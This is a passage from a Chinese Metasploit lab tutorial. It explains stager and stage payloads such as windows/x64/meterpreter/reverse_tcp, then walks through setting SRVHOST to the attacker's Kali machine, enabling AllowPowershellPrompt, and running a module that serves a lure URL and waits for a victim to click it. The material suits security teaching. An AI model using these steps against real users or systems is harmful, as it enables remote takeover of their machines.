【补充说明：
1）Payload中包含有需要在远程系统中运行的恶意代码，Payload是一种特殊模块，它们能够以漏洞利用模块运行，并能够利用目标系统中的安全漏洞实施攻击。也就是说，漏洞利用模块可以访问目标系统，而其中的代码定义了Payload在目标系统中的行为。
2）Payload模块主要有以下三种类型：-Single -Stager -Stage
Single是一种完全独立的Payload，实现的目的也简单，但容易被捕捉到。
Stager这种Payload负责建立目标用户与攻击者之间的网络连接，并下载额外的组件或应用程序。 一种常见的Stagers Payload就是reverse_tcp，它可以让目标系统与攻击者建立一条tcp连接（3次握手-4次挥手）（是一个基于TCP的反向链接反弹shell, 使用起来很稳定）。
Stage是Stager Payload下载的一种Payload组件，这种Payload可以提供更加高级的功能，而且没有大小限制。
3）windows/x64/meterpreter/reverse_tcp则由一个Stager Payload（reverse_tcp）和一个Stage Payload（meterpreter）组成。
注意：Payload为windows/meterpreter/reverse_tcp 默认获取到的控制通道meterpreter为32位，
如果想将之后获取到的控制通道meterpreter改为64位，则设置。payload:windows/x64/meterpreter/reverse_tcp
6、设置文件共享服务器发现SRVHOST为空，待设置，其它（payload/SRVPORT/LHOST/LPORT）均已获取，且正确，设置SRVHOST的对应的参数地址，它指的是文件共享服务器的地址，想一想，要设成谁？为什么？
分析一下：是在哪里用到这个文件共享服务器？是不是会在生成一个网址，诱导用户点击了，就会直接连接到发起攻击的主机上。那你们觉得应该是谁生成这个连接呢？是用户那边么？还是攻击者这边？肯定是攻击者这边吧，我们是不知道会有谁点了这个网站链接吧。
所以，我们才会对这个文件共享服务器的地址设置为kali的地址
>set SRVHOST 192.168.10.21
要把AllowPowershellPrompt的默认参数false改为true，因为msf中自带的漏洞是利用exp调用的是powershell（powershell是一种命令外壳程序和脚本环境），所以msf的exp代码只对安装了powershell的系统生效。
>set AllowPowershellPrompt true
查看对SRVHOST和AllowPowershellPrompt进行的修改，是否修改成功
>show options
>run
**结果：**生成一个网站的链接“Using URL : http://192.168.10.21:8080/xE6RxjSy，开启服务，光标停留在这，等待有人点击该网站链接。
